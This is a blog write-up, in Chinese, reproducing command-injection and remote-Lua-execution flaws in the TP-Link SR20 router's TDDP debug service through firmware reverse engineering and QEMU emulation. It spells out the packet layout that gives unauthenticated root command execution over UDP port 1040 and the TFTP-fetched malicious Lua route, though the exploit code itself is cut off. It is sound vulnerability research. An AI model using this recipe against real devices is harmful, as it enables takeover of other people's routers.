TP-Link SR20命令执行漏洞复现
前言
针对 TP-Link SR20 做漏洞复现的时候,学习到了 C 程序调用 lua 文件所造成的命令执行漏洞,同时该路由器还存在一个命令注入的点。TDDP 是 TP-LINK 在 UDP 通信基础上设计的一种调试协议,当 TP-Link SR20 运行了 V1 版本的 TDDP 协议,在无需认证的情况下,往 SR20 设备的 UDP 1040 端口发送特定数据就可以造成命令注入漏洞或利用 TFTP 服务下载指定 LUA 文件并以 root 权限将其执行。还好这个协议的逆向量挺小的 😶🌫️
固件下载链接:https://www.tp-link.com/us/support/download/sr20/#Firmware
固件版本: SR20(US)_V1_180518
从接收数据开始
用 qemu 用户级仿真情况如下,该进程会一直处于阻塞状态,猜测是由 select 函数造成的。

执行命令 sudo chroot . ./qemu-arm-static -g 1234 ./usr/bin/tddp ,用 gdb-multiarch 进行调试,发现断点下到 select 是可以直接 c 过来的
但是把断点下到 select 函数执行后,就发现是处于了阻塞状态(猜测 select 监视了某个文件一直没有读到数据)

再看 select 函数上面的代码,发现是有进行初始化操作的部分。在 v6[9] 存放的是 socket 函数创建完的套接字(sub_16E5c 函数中实现的)
分析一下 sub_16D68 函数,它的第一个形参是刚刚创建的套接字,第二个形参是 1040
通过下面的代码能分析出 bind 函数将套接字与 0.0.0.0:1040 这个地址和端口所绑定的

此时在主机上运行程序 tddp 后,虽然是阻塞状态,但可以发现 1040 端口已经被监听

这里的 v6[9] 是 socket 函数返回的文件描述符为 5 (找了半天也没看到文件描述符 4 是哪个文件)
timeout.tv_sec = 600; |
下面要分析的核心是 readfds.__fds_bits[v6[9] >> 5] |= 1 << (v6[9] & 0x1F) 这行代码,这个 readfds 里存放的是要检查可读文件描述符的集合。它是用每个 bit 来表示一个文件描述符,因为比特图 __fds_bit 的每个元素的类型都为 unsigned long ,其大小为 4 字节 32 位 bit ,所以理论上 _fds_bit 的每个图都可以表示 32 个文件描述符的状态。其 bit 为 1 就表示该文件描述符要检查,为 0 则表示不检查。
再来看这行代码
readfds.__fds_bits[v6[9] >> 5] |= 1 << (v6[9] & 0x1F) |
v6[9] 表示的是 socket 返回的那个文件描述符 5,让这个文件描述符右移 5 ,也就是除以 32 ,拿到的是该文件描述符位于第几个图。5/32 为 0 ,这表示它位于第一个图。再看右边的 1 << (v6[9] & 0x1F) 这个 v6[9] & 0x1F 部分,0x1F 的二进制为 11111 ,用目标文件描述符和其进行与运算(这是为了避免文件描述符超过了一个图能表示的范围,算比特位属于哪个图由 __fds_bits[v6[9] >> 5] 来做,计算位于具体某个图的哪个比特位由 1 << (v6[9] & 0x1F) 来做 ),最后用 | 将图中的唯一比特位写入具体的一个图中。这里即使不理解也并不影响后面的分析,它就是把文件描述符 5 用 select 函数进行了是否可读的监视。设置的超时时间为 600 秒。
此时 socket 创建的套接字已经和 ip port 所绑定,只要向目标地址发送数据,就可以让 select 监视的可读文件描述符检测到有数据,从阻塞转到就绪,继续往下运行。执行到 sub_16418 ,其调用了 recvfrom 函数,接收了发送给 1040 端口的数据包。
看下 recvfrom 函数执行前后,将远端发送的数据读入内存的过程

此时的 exp 如下
from socket import * |
代码里存放数据包的首地址也就是 a1+45083 ,接下来就追踪这个数据,看看是否会存在漏洞。
根据功能码执行相应操作是在 handle 函数(已经过重命名),第一个 if 判断的是数据包的版本号,只要第一个字节是 1 就行。sub_15AD8 函数判断的是 *a1 是否为空,它在前面的函数中已经将其赋值为堆地址,所以也能正常通过第二个 if 的检查
handle 函数是用来执行数据包中各功能码对应的功能,switch case 语句处理的就是功能码对应的操作,红框中写的是 *(a1+45084) ,这说明数据包的第二字节代表功能码。漏洞位于 0x31 功能码对应的函数
漏洞所在
sub_A580
结合上图可知,v12 取了 tddp 数据包的首地址。然后在 if(*v12 == 1) 判断了数据包第一个字节(也就是 tddp 协议的版本号)是否为 Version1 ,如果是,则让指针 v18 移动 12 个字节,反之移动 28 个字节。
在移动后的位置用 sscanf(v18, "%[^;];%s", s, v9) 函数对其进行 ; 分割,字符串中 ; 前面的部分放入 s 中,; 后面的部分放入 v9 中,随后触发 DIY_system 函数(已被重命名)
DIY_system
查看变量定义的位置,猜测 argv v4 v5 v6 应该是一个指针数组,execve 函数的第二个参数就是指针数组(是 execve 执行程序的命令行参数),这里实际上为 execve("/bin/sh","sh -c xxx",0) 这个 xxx 也就是变量 s ,s 由 vsprintf 函数拼接而成,原始的数据为 sub_A580 函数中调用 sub_91DC("cd /tmp;tftp -gr %s %s &", s, v15) 进行传递的,此处我将 sub_91dc 函数重命名为了 DIY_system 函数
结论:控制
tddp协议的版本号为Version1,功能码为0x31,在功能码后面填充10个垃圾字符,然后输入任意命令以;结尾。这里虽然无法使用命令分隔符;,但是&&和||并没有进行过滤,依然可以造成命令注入。
我发现网上的相关资料都是直接用了 qemu 的系统级仿真,原本好奇为什么不先采用 qemu 的用户级仿真,为了方便我首先采用了 sudo chroot . ./qemu-arm-static -g 1234 ./usr/bin/tddp 的方式来进行调试程序。前面的流程都一切正常,但是会卡在 sub_15110 内的 lua_pcall 函数。不确定这是否因为用户级仿真单个程序所造成的原因,我采用的方法是用 set 命令改变了 pc 寄存器的值,跳过了一些可能造成干扰的函数,sub_15458 函数完成了刚开始的初始化操作后,直接将该函数返回(通过修改 pc 寄存器)。后续执行流就可以正常执行了 ,下图是正常走到 DIY_system 函数时各寄存器的状态
因为用户级仿真不支持多线程,所以后续在调用 fork 函数的时候,子进程是出不来的,导致没办法进入 if ( !pid ) ,也就无法执行到 execve 函数。
搭建系统级仿真
所以为了最终验证 POC ,还得用 qemu 搭建系统级仿真,先下载这三个文件
wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2 |
下面是 net.sh 脚本和 boot.sh 脚本,先执行 net.sh 配置出一个 qemu 的网络接口 tap0 ,然后再执行 boot.sh 脚本启动 qemu (大概要等待三分钟左右)
!/bin/sh |
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress \ |
然后把解压出来的文件系统给传到 qemu 中
sudo scp squashfs-root.tar.gz root@10.214.140.139:/root/ |
再传一个 gdbserver 进去,方便调试。 gdbserver下载链接
sudo scp gdbserver root@10.214.140.139:/root/ |
进到 qemu 里,用 chroot 在传入的文件系统里做一个隔离环境,就可以进行调试了
此时调试的过程就不再演示,上文提到 sub_15110 内的 lua_pcall 函数会造成用户级仿真的阻塞,在系统级仿真里面也没有出现问题了。
启动 tddp 服务后可以看到 1040 端口已经被监听(但是不知道为什么在宿主机用 nmap 扫描不出来)

EXP1
根据上文的分析,编写 EXP 如下
from socket import * |
攻击效果:

利用lua文件命令执行

上图中的 v15 为发送数据方 IP (经下图调试可知),所以正常 DIY_system 函数会利用 tftp 从对应机器上下载一个文件(用户可控),并且该文件在后面被当做 lua 文件进行加载执行(由 lua_call 函数完成),执行的是文件中的 config_test 函数。
只需要构造一个 lua 文件,命名一个 config_test 函数,里面自定义命令执行的代码即可。因为后面执行了两次 lua_pushstring 函数,这意味着正常的 config_test 函数应该有两个参数。
EXP2
所以编写恶意 lua 脚本如下
function config_test(para1, para2) |
把 exp 改成这样
from socket import * |
最终验证需要安装 lua 同时还得配置 TFTP server ,具体细节可以参考 文章
攻击效果:

根据上图的信息可以发现是连续执行了三条命令,分别为 id xxx 10.214.140.177。第一个命令 id 很明显是 lua 脚本里写死的,而 xxx 和后面的 ip ,其实是 C 代码传给 lua 脚本中 config_test 的参数。第三个命令是 ip 不可控,但第二个命令是以数据包中 ; 为分隔符,后面的数据 xxx 依然可控,所以最终可以导致同时执行两个命令
报错与解决
binwalk 报错 No such file or directory: 7z

发现是 binwalk 依赖了 7z ,所以还得装一个 7z 。
我首先执行的命令 apt-get install p7zip ,执行完后发现用 binwalk 解压依然是同样的错误,执行 which 7z ,报错为 7z not found 。发现 7z 并没有被安装成功,经过一番搜索后应该安装 p7zip-full ,这样 7z 就被成功安装。 binwalk 正常执行

编译 C 程序报错
gcc -o call call.c -llua 报错:缺少头文件

解决方法:加上 -I 参数,让编译器在指定目录下寻找头文件
gcc -o call call.c -llua -I/home/zikh/Desktop/lua-5.3.5/src -llua 报错:ld 无法找到 -llua

解决方法:在加 -L 参数,在指定目录下寻找库文件
最终命令为 gcc -o call call.c -llua -I/home/zikh/Desktop/lua-5.3.5/src -L/home/zikh/Desktop/lua-5.3.5/src -llua -lm -ldl
成功运行 C 语言编写的 call 调用 lua 程序

tftp没有找到下载文件的目录
/ # tftp -g -r /demo.lua 10.214.140.177 |
我按照网上资料,也将配置文件的目录修改到了 /opt/ftp_dir ,并且也给了 777 的权限,重启服务后,依然报了上面的错误。

解决方法:猜测上传文件的目录和下载文件的目录是同一个,我在宿主机上用 tftp 上传了一个 1.txt 文件,再用 find 进行搜索(如下图)发现上传的文件位于 /srv/tftp 目录下

从 qemu 里下载这个目录下的文件是成功的

尾声
虽然文件系统里有自带的 nc ,但因为是简化版无法造成反弹的命令执行。winmt 师傅自己传入了一个完整版的 nc 进行了测试。命令执行的点到此结束了,因为我也不执着于这个反弹 shell ,就不再进行后续的操作了😶🌫️
参考文章
我的翻译–一个针对TP-Link调试协议(TDDP)漏洞挖掘的故事 - backahasten - 博客园 (cnblogs.com)